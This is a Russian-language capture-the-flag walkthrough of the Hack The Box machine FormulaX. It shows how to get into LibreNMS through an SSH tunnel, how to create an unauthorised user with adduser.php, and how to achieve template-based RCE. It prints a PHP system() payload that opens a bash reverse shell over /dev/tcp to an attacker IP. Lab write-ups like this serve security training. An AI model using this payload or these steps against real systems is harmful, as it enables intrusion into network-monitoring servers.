Сегодня, на примере прохождения уязвимой машины FormulaX Hack The Box, я покажу, как взломать LibreNMS. Мы пройдем через несколько этапов: начиная с SSH-туннелирования и заканчивая использованием уязвимостей в шаблонах.
Еще по теме: Вот как нашел свою первую RCE
Что такое LibreNMS
LibreNMS — это открытая платформа для мониторинга сети, которая автоматически обнаруживает устройства и собирает данные о состоянии сети, трафике и других параметрах. Она поддерживает множество протоколов и интеграций, предоставляя гибкие возможности для визуализации и анализа сетевой инфраструктуры.
Важно помнить, что такие действия следует выполнять только в этических целях и с соответствующими разрешениями.
Взлом LibreNMS с помощью RCE в шаблонах
Все началось с того, что сервис LibreNMS работал на порту 3000, но был доступен только локально. Чтобы получить к нему доступ, пришлось использовать SSH-туннелирование. Вот команда, которую я использовал:
1 |
ssh frank_dorky@10.10.11.6 -L 3000:127.0.0.1:3000 |
Это позволило перенаправить трафик с локального порта 3000 на порт 3000 удаленного хоста через SSH.

Когда я получил доступ к форме авторизации LibreNMS, то первым делом начал искать эксплоиты. Хотя ничего особо интересного не нашел, я узнал, что можно получить RCE через шаблоны, но для этого нужно было сначала авторизоваться.
Поискав информацию об авторизации в LibreNMS, я наткнулся на сообщение на форуме о создании пользователя. Попытка проверить наличие скрипта adduser.php показала, что у меня нет доступа к просмотру файлов в каталоге /opt/librenms.
Однако, несмотря на это, мне удалось выполнить сам файл:
1 |
./adduser.php ralf ralf1234 10 |
Так я создал нового пользователя и смог авторизоваться в системе.
Следующим шагом было использование идеи с шаблонами для получения RCE. Я перешел к проверке конфигурации.
Но столкнулся с ошибкой: адрес 127.0.0.1 не соответствовал имени librenms.com.
Чтобы решить эту проблему, я добавил соответствующую запись в файл /etc/hosts:
1 |
127.0.0.1 librenms.com |
После этого я смог перейти в меню Alerts → Alert Templates и создать новый шаблон.
В нем я использовал функцию system для выполнения реверс-шелла:
1 2 3 |
@php system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1'"); @endphp |
Запустив новый листенер и сохранив шаблон, я успешно получил новую сессию с правами пользователя LibreNMS.
Этот опыт показал, как можно использовать различные техники для получения доступа к системе, начиная от SSH-туннелирования и заканчивая использованием уязвимостей в шаблонах.
ПОЛЕЗНЫЕ ССЫЛКИ: